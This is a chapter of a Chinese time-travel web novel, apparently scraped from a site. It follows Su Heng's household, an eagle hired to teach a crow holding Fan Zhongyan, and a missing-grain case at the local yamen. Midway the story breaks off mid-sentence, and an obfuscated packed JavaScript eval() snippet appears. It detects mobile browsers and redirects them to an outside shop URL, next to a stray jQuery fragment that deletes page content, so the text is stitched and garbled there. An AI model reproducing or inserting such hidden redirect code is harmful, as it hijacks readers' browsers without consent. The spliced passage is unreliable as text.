等苏衡终于在两位弟弟的帮助下,成功压制住了英勇的父亲,让父亲知道这只鸟是他请来的家庭教鸟的时候,苏洵已经过了一把摸老鹰的瘾。

    “这师鸟脾气真好,毛也厚实,摸着就是个有能力的。”苏洵说着都要回味了。

    旁边被请老师的正主此时在想,养儿似乎不防老,他儿女也不少。

    哎?等等,请来鸟当老师?给谁当老师?我吗?

    下一秒,范乌鸦就从苏衡嘴巴里得到了印证,确实是给他当老师。

    “我们范乌鸦有点笨,而且它一只鸟离开父母,估计是没从父母那边接受过家庭教育的,我们也只能给它提供充足的食物,像是飞翔、捕猎、繁育后代的能力,还得有个老师来教一下。”

    苏衡讲了自己为什么请老师。

    三苏连连点头,是的是的,应该找个鸟来教,他们都是人,不懂。

    愣是没有一个苏开口问一下,怎么请到老鹰当家庭教师的。

    或许这就是三苏的智慧,又或许是他们就是如此笃信苏衡无所不能。

    苏衡确实无所不能,年纪小小,但是做了很多别人做不到的事儿,比如把菜种的更好吃,比如把农庄经营得比一个国家还要人心稳定、众志成城,又比如他脑子里那些能够成真的奇思妙想。

    但请来的这位老师,并非全能。

    “啾啾。”老鹰听懂了苏衡的话,它甚至清楚人类是听不懂鸟叫的,于是它很努力地夹出了幼鸟的声音——为了证明自己确实至今单身。

    它也不懂繁殖啊!

    请它来不是来教飞翔的吗?

    作为鹰,天生的天空霸主,老鹰大风自认,这一片鸟群里,自己说飞翔能力第二,就没有鸟敢称大王!

    当然,它们鸟也没有大王,和鱼一样,各自为政,过得也比有老虎压在头上的兽群好很多。

    但是!怎么多了这么多,捕猎也是能教,但乌鸦的捕猎和我不一样吧?繁殖我也是真的没成过啊。

    亚成熟的鹰,上一次繁殖期还只有捕猎冲动,没有性冲动呢。

    鸟的无助,人不知道。

    乌鸦知道。

    范仲淹这也是头一回碰上别的鸟,他在这个身体里醒过来的时候,看到的就是苏衡了。

    也因此,范仲淹发现,原来自己能听懂别的鸟在说什么!

    一下子困扰他这么多天,他一直没问别人的问题也得到了解释。

    他变鸟的时候,经常能听到一些奇怪的话语。

    怀疑很久了,以为是动物能够听到什么人听不见的东西——鬼神精怪相关的,都已经想,要不找个寺庙道观。

    现在好了,原来是听的别的鸟的!

    合理了,合理了,难怪会听到“小风今天杀死了三个!”“蝗虫不好吃,被骗了。”这样的话呢!

    前者范仲淹以为是什么在逃杀人犯,后者他以为是这人才了解了李世民“吞蝗”的典故,所以尝试吃这个。

    原来是鸟,正常。

    “嘎?嘎嘎?”怎么不理我?果然很笨。

    老鹰的声音传入思考中的范乌鸦耳朵里的时候,它已经被定义成了笨蛋。

    都怪人!乱说鸟是笨蛋!

    范仲淹决定先忍气吞声,等学会了飞,正好展示自己作为人的聪明劲。

    此时的范仲淹还没意识到,听得懂,未必说得出。

    他确实能够在这个身体里,思考一些东西发帖,但……论坛是能识别人语的,鸟……鸟和鸟的交流还是靠鸟鸣。

    一大一小两只鸟看着相处的还挺好,四苏看着都忍不住面带微笑。

    小鸟的交友就是比人要纯粹。

    虽然苏衡作为“中间商”需要提供一些肉,但这不重要,农场多的是鸡鸭鹅鱼虾蟹猪羊……

    “我们要不要去官府看看,看看里正有没有真的把粮食、把钱私自偷走。”

    苏轼性格还是要更果决一些,此时他提出了直接去人家地盘看一眼。

    “嘎?”老鹰是知道“里正”的。

    这不是里正多有名,是它这片领地里的新霸主,很多消息其他鸟会告诉它。

    比如苏衡这个农场,前段时间有人要欺负他,那里正离开之后还找了人,想要在农场这边行凶,不过苏衡一直没来,这件事不了了之。

    而里正前段时间没了稳定工作,回到家里的时候气的不行,很吵,吵得他家的几只老鼠连夜搬家,老鼠不是很肥,但数量多,还笨,被喜鹊小黄和小红美美分食了。

    对,从爱看热闹、武力值也不低的鸦科嘴巴里得到情报,弊端就是要接受它们时不时穿插进来的一些捕猎大成功的“炫耀”?

    好在老鹰大风捕猎能力不差,没把这个当炫耀,差点以为是喜鹊暗示它要给消息费,幸好喜鹊小黄飞得快,不然它真给。

    里正的消息最后是从一只野猪那里得到了结果。

    告诉老鹰大风这个消息的也是一只乌鸦,比眼前这只要大很多,羽毛也更浓密,眼神都更精明呢。

    “人已经死了,好像是跟人交接了一个消息,他要对方给他提供一个大房子,他要自己住,不带妈妈,妈妈留在眉州这边。”

    乌鸦不是很理解“不带妈妈”这件事,所以着重强调了这个。

    大风也不理解,要是妈妈愿意,它现在都可以跟妈妈住!妈妈的捕猎能力更好,它也不是很乐意天天出去打猎的,不然也不会应聘这个能轻松得到肉肉的工作。

    里正已经死了。

    苏衡还不知道,文彦博也不知道。

    这个消息甚至都没有传到王则的耳朵里。

    王则的组织挺大的,他的主要势力覆盖了贝州、邓州和齐州,百姓和一些现役的军士,他本人就是一名小校。

    在眉州这里的不多,有些人说是要跟他,其实……更多的是想给自己敛财。

    “山高皇帝远”这个词,放在什么情景下都适用的。像里正这样盲目认定自己跟着王则能够封侯拜相的人,也没那么多。

    跟里正交接的那个,就是想要敛财的,里正说“不带母亲”也是加速他死亡的一句话,本来可以不杀的。

    恶人也有自己的底线,刚巧那人的底线就是亲人。

    苏衡不知道这些。

    但苏衡到官府的时候,正好撞见了有人在张贴……

    “库房里的存粮不翼而飞?怀疑是离任的里正?已经有神探查出来结果了?所以悬赏这位里正?追回粮食有奖励?”

    苏衡在驴车上远远看到,还没下车的时候,苏轼就已经一步三蹦,凑过去看了前因后果。

    “哪家的小孩……”苏轼还没过变声期,声音是能听出孩子味的。

    那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505036|202886||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    力吏本欲驱赶的,结果看到苏轼的脸的时候,像是一下想起来了。

    “哦,是你啊,过年那会在街上便宜卖春联的。”

    春联是苏衡的叫法,北宋这会是叫桃符,王安石写过“总把新桃换旧符”,就是说的这个。

    不过苏衡卖的比正常店里的便宜很多,为了不让其他人失利太多,他就直接用了后世的“春联”名字。

    卖的是春联,便宜些,正常,不是桃符。

    家里富裕的,图个新奇,家里拮据的,也讨个好彩头。

    苏洵带着苏轼、苏辙写的,苏衡负责编上下联,他看过不少,编的也很快,吉祥话张口就来。

    “差点以为是二哥的朋友。”苏辙也有不稳重的时候,比如现在,吐槽苏轼的“交友广泛”。

    苏衡有时候会想,是不是苏辙觉得哥哥只能和自己玩,而他完美复合苏辙的这方面的控制欲,所以苏辙……更喜欢苏轼,毕竟得不到的才是最好的。

    苏衡的逻辑有时候也让人想不通,他自己都感觉自己逻辑怪异,但有时候又莫名可以说服自己。

    “是啊是啊。”苏洵也跟着点头,“好了,下来吧。这只鸟……”

    苏洵的目光落在跟着他们一起过来的范乌鸦和鹰大风身上,重点是鹰大风。

    “老鹰是不能带吧,别人看了会害怕。”苏衡想着得考虑别人的安全。

    “这鹰就站我肩膀上吧!”苏洵想的和他可以说是南辕北辙,此时兴冲冲地向老鹰伸过去手,目光期冀,像是等着老鹰落他手上。

    鹰大风还真在思考,要不要落他手上,看到范乌鸦已经闲庭信步,手脚并用,狼狈爬上了苏衡的肩膀的时候,鹰大风无语,然后展示了一下自己的飞行技术。

    咻一下飞出车外,又咻一下落在苏洵的手臂上。

    拉风,太拉风了!

    苏洵感受着四方涌来的目光,感觉老鹰带来的一点手臂的抓力都可以忽略不计了!

    找到了!比钓到超级大胖鱼更酷的事儿!

    果然,子肖父。

    爬人的狼狈范仲淹眨眼就忘,看着喜悦溢于言表的苏洵,心底也有想手接老鹰的羡慕嫉妒,但还是“客观”评价了苏洵和他的二儿子。

    老二很快就回来了。

    “真的被带走了。”苏轼的小脸很凝重。

    “仓库里准备在灾荒年开仓放粮存的旧粮,都被带走了。”

    里正吃了职务之变,这几个仓地处偏远,而且比较分散,所以有专门人去看,他正好就是看的人。

    “里正走之后,才发现,本来应该有两个人和他一起承担巡仓的这个工作的,但是那俩只拿钱,不办事,都没来过府衙。”

    这也是北宋的陈年旧疾。

    苏衡听到的时候已经“习惯”了。

    这就是北宋,三冗的影响堪比三高。

    可恶!

    范乌鸦很生气,愤怒小鸟大鹏展翅中。

    “不过这事是一个汴京来的神探给解决的,现在神探去追查里正了,悬赏也是神探为了两手准备做的。”

    苏轼眼睛发光,他很好奇这个神探。

    苏衡听“神探”,脑子一糊,差点以为自己误入了少年包青天的片场,但反应过来,应该是神探狄仁杰才对。

    还好,现在是宋不是唐,不然真成破案剧了。